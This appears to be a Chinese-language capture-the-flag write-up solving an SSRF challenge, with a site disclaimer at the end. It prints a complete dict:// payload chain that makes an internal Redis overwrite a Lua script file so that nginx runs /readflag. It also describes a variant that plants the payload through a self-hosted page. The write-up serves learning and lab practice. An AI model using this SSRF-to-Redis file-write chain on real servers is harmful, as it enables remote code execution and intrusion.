先给payload:
dict://127.0.0.1:6379/info // 测试ssrf
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config set dir /scripts
dict://127.0.0.1:6379/config set dbfilename visit.script
dict://127.0.0.1:6379/set shell "\n\n\n##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##\n\n\n"
dict://127.0.0.1:6379/save
题目给的docker文件,点开html这是个很常规的SSRF测试点,而且有redis配置文件,说明内网有redis,部署了下docker看了下并没有配置计划任务,没有ssh,而且redis.conf中配置enable-module-command no,后续主从复制会出现不能加载模块的问题,后续redis提权排除写计划任务,写ssh公钥,以及主从复制,所以尝试写文件的方式利用
docker部署本地环境(windows要先登录不登录拖去不了镜像)
docker build -t test .
然后再docker上添加端口映射后直接运行容器就行
随便输入一个网址他会去请求改网页内容并返回
在redis.conf中看到端口为6379
直接测试ssrf
dict://127.0.0.1:6379/info
存在ssrf,在dockerfile中看到flag设置了root权限直接用redis读取不能读取,而readflag是一个可执行文件,有设置了suid(就是普通用户在执行readflag时具有root权限),显然是要执行readflag才能读取到flag。
这里验证file://协议直接读取不能读取/flag,图一读取/etc/passwd验证可以使用file://协议读取文件,图二验证直接读取权限不够。
读取失败了
尝试利用redis提升权限到普通用户级别并执行命令。
这里想到两个思路一个是用redis保存键值的方式写文件,写入到main.lua在每次访问页面的时候执行main.lua并在写入的命令中执行/readflag读取flag并打印出来。另外一个是写入到visit.script中当main.lua执行使会读取visit.script中内容并提去脚本执行。
这里思路一,在redis写入文件时会出现多余的内容,会导致main.lua无法执行,忘记截图了,不过操作方式与思路二相同只是写入路径不同。
思路二,说下思路二为什么可以执行思路一不能执行,关键在这里:
由于script_content:match("##LUA_START##(.-)##LUA_END##")再次提取了脚本内容将##LUA_START##和##LUA_END##包裹的内容作为执行语句,所以避免了redis本地存储时的冗余字符。这是写入main.lua是的样子可以看到除了payload还有其他字符,所以无法执行。
payload:
dict://127.0.0.1:6379/config set dir /scripts
dict://127.0.0.1:6379/config set dbfilename visit.scriptdict://127.0.0.1:6379/flushall // 清空键值缓存
dict://127.0.0.1:6379/set shell "\n\n\n##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##\n\n\n"
dict://127.0.0.1:6379/save // 保存既写入本地文件
最后解释下这一句ngx.say(io.popen('/readflag'):read('*a'))
这行代码是使用 Lua 脚本语言在 Nginx 的嵌入式脚本模块 ngx_lua 中执行的。下面是对这行代码的解释:
io.popen('/readflag')
:这是 Lua 中的一个函数调用,io.popen
用于执行一个外部命令并打开一个管道来读取该命令的输出。这里的/readflag
是一个外部命令,通常在一些编程竞赛或安全测试环境中,/readflag
这个命令会输出一个特定的字符串(通常是比赛的“flag”或答案).
:read('*a')
:这是对管道对象调用的read
方法,'*a'
参数表示读取管道中的全部内容直到结束。
ngx.say(...)
:这是 ngx_lua 模块提供的函数,用于向客户端输出数据。它会将括号内的内容发送到客户端浏览器或客户端程序.
因此,这行代码的总体作用是:在 Nginx 服务器上执行/readflag
命令,读取该命令的全部输出,并将输出结果发送给客户端。
另外基于上述方法还有一种思路:由于所有的请求都会记录进redis,所以只需要自己部署个临时web服务器其中的内容放##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##,这样请求后##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##就会被记录到redis中,在save使其存储到visit.script中,这样当main.lua执行时,就会读取到visit.script中的##LUA_START##ngx.say(io.popen('/readflag'):read('*a'))##LUA_END##,最后就会执行ngx.say(io.popen('/readflag'):read('*a'))拿到flag。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)